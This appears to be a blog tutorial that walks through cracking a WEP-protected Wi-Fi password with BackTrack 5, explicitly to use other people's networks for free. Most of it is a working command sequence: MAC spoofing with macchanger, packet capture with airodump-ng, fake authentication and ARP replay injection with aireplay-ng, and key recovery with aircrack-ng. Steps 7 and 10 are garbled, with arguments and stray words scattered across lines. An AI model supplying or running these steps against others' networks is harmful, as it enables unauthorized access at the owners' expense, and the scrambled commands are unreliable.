How to hack wi-fi password using backtrack5

Using Backtrack 5 you can hack someone else WiFi passwords easily,and use Internet for free

                                              what  you need

1 -A compatible wireless adapter : A wireless adapter that's capable of packet injection

2 -BackTrack 5 - Installed or Live DVD,Both will work.

If you’re using Kali in VMware, then you might have  to     connect the card via the icon in the device menu. 

step1.Disconnect from all wireless networks, open a Terminal, and type airmon-ng

It will show all the wireless cards that support monitor  mode.

 now follow these steps and  Type the following commands

2. airmon-ng stop wifi0

3.ifconfig wifi0 down

4.macchanger --mac 00:11:22:33:44:66 wifi0

5.airmon-ng start wifi0

6.airodump-ng wifi0

It will start searching Wifi networks. Press Ctrl + C to stop.

Check the network with WEP.

 Now do one thing also cpoy all the BSSID, CH and ESSID  in notepad 

Note that if the same BSSID is available in the second part with STATION associated with it,

means you some one is accessing that network and our task will be little easier to hack.otherwise don't worry about it follow blew steps: 

7. airodump-ng -c (channel) -w (file name)

Replace

(channel) with the CH which u had already n

(file name) with any name of your choice

(bssid) with the BSSID which u had already note

--bssid (bssid) wifi0

Note it

Leave this console as it is and start new terminal

8. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0

If you don’t get Association Successful mesage then keep on trying until

you got success.

9. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0

Well if you don’t see ARP ACK and sent packets are not increasing or still 0 

than it means no 1 is

accessing that network.But don’t worry you go an optional step,

Leave this terminal as it is and start new k

10.aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF

konsole

message than keep on trying until you get success

got an optional step

terminal

–b (bssid) –h 00:11:22:33:44:66 wfi0

Press y and enter

Now you will see that ARP and ACK packets in 2nd console are increasing fast

Keep this terminal as it is and start 4th terminal.

11.aircrack-ng -b (bssid) (filename)-

Just wait and watch…..Backtrack will do rest of the work.

enjoy........................................................................................................................................